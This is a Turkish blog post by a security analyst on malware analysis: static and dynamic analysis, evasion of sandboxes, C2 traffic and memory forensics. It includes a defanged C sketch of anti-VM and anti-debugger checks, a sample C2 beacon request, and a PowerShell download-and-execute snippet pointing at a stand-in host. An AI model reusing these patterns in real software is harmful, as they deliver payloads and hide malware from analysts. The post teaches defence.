Eskiden işler basitti; bir exe bulurdun, kum havuzuna (sandbox) atardın, hangi IP'ye gitmiş, hangi dosyayı silmiş bakardın. Artık kimse sadece imza tabanlı (signature-based) korumalardan kaçmaya çalışmıyor. Yeni trend, analiz ortamının kendisini bir tehdit olarak görüp ondan saklanmak. Hatta öyle ki, modern zararlılar senin 4GB RAM'li, tek çekirdekli sanal makineni (VM) gördüğü anda 'Burası bana göre değil' deyip kendini siliyor veya zararsız bir hesap makinesine dönüşüyor. Peki biz, bu 'akıllı' arkadaşlarla nasıl başa çıkacağız?
Selamlar, ben Sedat. Bugün testCompany'deki ekiple kahve içerken konuştuğumuz o derin mevzuya, malware analizinin mutfağına giriyoruz. Eğer sen de 'Ben bu dosyayı çalıştırdım ama hiçbir şey yapmadı, herhalde bozuk' diyorsan, muhtemelen zararlı yazılım seni analiz ortamında yakaladı ve şu an seninle dalga geçiyor.
İlk Durak: Statik Analiz ve O Meşhur 'Entropy'
Kodun içine dalmadan önce, ona dışarıdan bir bakmak lazım. Dosyayı çalıştırmadan yaptığımız bu işleme statik analiz diyoruz. İlk baktığımız şeylerden biri 'Entropy'. Eğer bir dosyanın entropisi 7.5'in üzerindeyse (0-8 arası skalada), bil ki o dosya ya paketlenmiştir (packed) ya da şifrelenmiştir. Kimse tertemiz bir kod bloğunu şifreleyip sunmaz, değil mi?
Bir diğer önemli nokta ise Strings. Ama öyle sadece strings.exe çalıştırıp bırakmak yok. Obfuscated (karmaşıklaştırılmış) string'leri ayıklamak için FLOSS gibi araçlar kullanıyoruz. Bakalım dosya içinde http://example-malicious-domain.com gibi defanged (zararsızlaştırılmış) bir adres veya gizli bir CreateRemoteThread çağrısı var mı?
Kedi-Fare Oyununun Başladığı Yer: Anti-Analysis Teknikleri
Modern bir malware'in içinde genellikle şu tarz bir mantık döner:
// Zararsızlaştırılmış (Defanged) Örnek: Anti-VM ve Anti-Debugger Kontrolü
void check_environment() {
// 1. Debugger var mı?
if (IsDebuggerPresent()) {
exit(0); // Analiz ediliyorsam hemen kapat
}
// 2. RAM miktarı çok mu düşük? (Genelde VM'lerde düşüktür)
MEMORYSTATUSEX statex;
statex.dwLength = sizeof(statex);
GlobalMemoryStatusEx(&statex);
if (statex.ullTotalPhys / (1024 * 1024) < 4096) {
return_dummy_data(); // 4GB altındaysa gerçek yüzünü gösterme
}
// 3. Disk alanı kontrolü
// Gerçek bir kullanıcı bilgisayarında 60GB'tan az yer olması zordur.
if (get_disk_size("C:\\") < 60) {
self_destruct();
}
}
Bu kod parçası, saldırganın 'pahalı' analiz sürelerini boşa harcamak için kullandığı en basit yöntemlerden biri. Eğer analiz ortamını bu kontrollere göre 'hardened' hale getirmediysen, analiz raporunda sadece 'Dosya başarıyla çalıştı ve kapandı' yazısını görürsün.
Dinamik Analiz: Maskeleri Düşürmek
Statik analizden bir şey çıkmadıysa (ki genelde paketlenmiş dosyalarda çıkmaz), dosyayı 'güvenli' bir ortamda koşturma vakti gelmiştir. Ama dikkat et, 'güvenli' dediğimiz yer sadece interneti kesilmiş bir VM değil; tüm API çağrılarını loglayan, dosya sistemi değişikliklerini anlık yakalayan bir laboratuvar olmalı.
Procmon (Process Monitor) açtığında binlerce satır akar. Burada gürültüyü (noise) temizlemek sanattır. testCompany içindeki arkadaşlara hep söylerim: 'İğneyi değil, iğnenin bıraktığı izi arayın'.
Örneğin, zararlı yazılım kendini C:\Users\Public\ altına kopyalayıp ismini svchost.exe (aslında svch0st.exe) olarak mı değiştiriyor? Yoksa Registry üzerinde HKCU\Software\Microsoft\Windows\CurrentVersion\Run anahtarına bir 'persistence' (kalıcılık) mı ekliyor?
Ağ Trafiği: C2 İle Fısıldaşmalar
Zararlı yazılımın asıl amacı genelde bir C2 (Command & Control) sunucusuna bağlanmaktır. Dinamik analiz sırasında ağ trafiğini izlerken karşımıza şöyle bir şey çıkabilir:
GET /api/v1/heartbeat?id=PC-123-SECRET HTTP/1.1Host: c2-example-server.com (Defanged)
Burada saldırganın kullandığı User-Agent bilgisinden, veriyi şifreleyip şifrelemediğine kadar her şey bize ipucu verir. Eğer trafik HTTPS ise ve sen araya SSL Inspection ile giremiyorsan, bellek analizi (Memory Forensics) tek çaren kalır.
Bellek Analizi (Memory Forensics): Kaçacak Yer Yok
Dosya diskte şifreli durabilir ama işlemci o kodu çalıştırmak zorundadır. Çalıştığı anda o kod 'unpack' olur ve RAM'e (belleğe) serilir. İşte bizim en sevdiğimiz an budur. Volatility gibi araçlarla bellek dökümü (memory dump) üzerinden şunları çekebiliriz:
- Injected Code: Başka bir process'in (mesela
explorer.exe) içine sızmış kod blokları. - API Hooks: Sistemin normal çalışma düzenini değiştiren kancalar.
- Strings in RAM: Diskte asla göremeyeceğin, çalışma anında çözülen şifreler ve konfigürasyon dosyaları.
Bir Senaryo: 'Zararsız' Görünen Doküman
Diyelim ki bir kullanıcıya fatura.docx (aslında fatura.docm) geldi. İçinde bir Macro var. Bu Macro gidip bir PowerShell komutu çalıştırıyor.
# Zararsızlaştırılmış (Defanged) PowerShell Komutu
$u = "http://127.0.0.1/payload.bin"
$o = "$env:temp\update.exe"
(New-Object System.Net.WebClient).DownloadFile($u, $o)
Start-Process $o
Bunu analiz ederken sadece update.exe'ye bakarsan resmi kaçırırsın. O dokümanın içindeki Macro'nun nasıl bir 'Anti-Sandbox' kontrolü yaptığını (örneğin farenin hareket edip etmediğini kontrol etmek) bulman gerekir. Eğer fare hareket etmiyorsa (Sandbox'larda genelde etmez), Macro çalışmayacaktır.
Savunma ve Önlemler (Hardening)
Sadece analiz etmek yetmez, bu öğrendiklerimizi savunmaya yansıtmamız lazım.
- EDR/XDR Kullanımı: Sadece dosyaya bakmayın, davranışa odaklanın. Bir Word dökümanı neden PowerShell başlatsın?
- Entropy Monitoring: Şirket ağında yüksek entropili dosyaların hareketini izleyin.
- Analiz Ortamını Gizleme: Sandbox ortamlarınızı 'gerçek kullanıcı' bilgisayarı gibi gösterin. Birkaç sahte belge, tarayıcı geçmişi ve dolmuş bir disk alanı ekleyin.
- Kullanıcı Bilinçlendirme: En iyi malware analiz aracı, o şüpheli linke tıklamayan kullanıcıdır.
Yani demem o ki; zararlı yazılım analizi sadece teknik bir süreç değil, saldırganın zihnindeki bariyerleri birer birer aşma sürecidir. Onlar saklanmayı öğrendiyse, biz de daha iyi aramayı öğreneceğiz.
Bir sonraki teknik analizde veya gece 3 IR çağrısında görüşmek üzere, güvenli kalın!
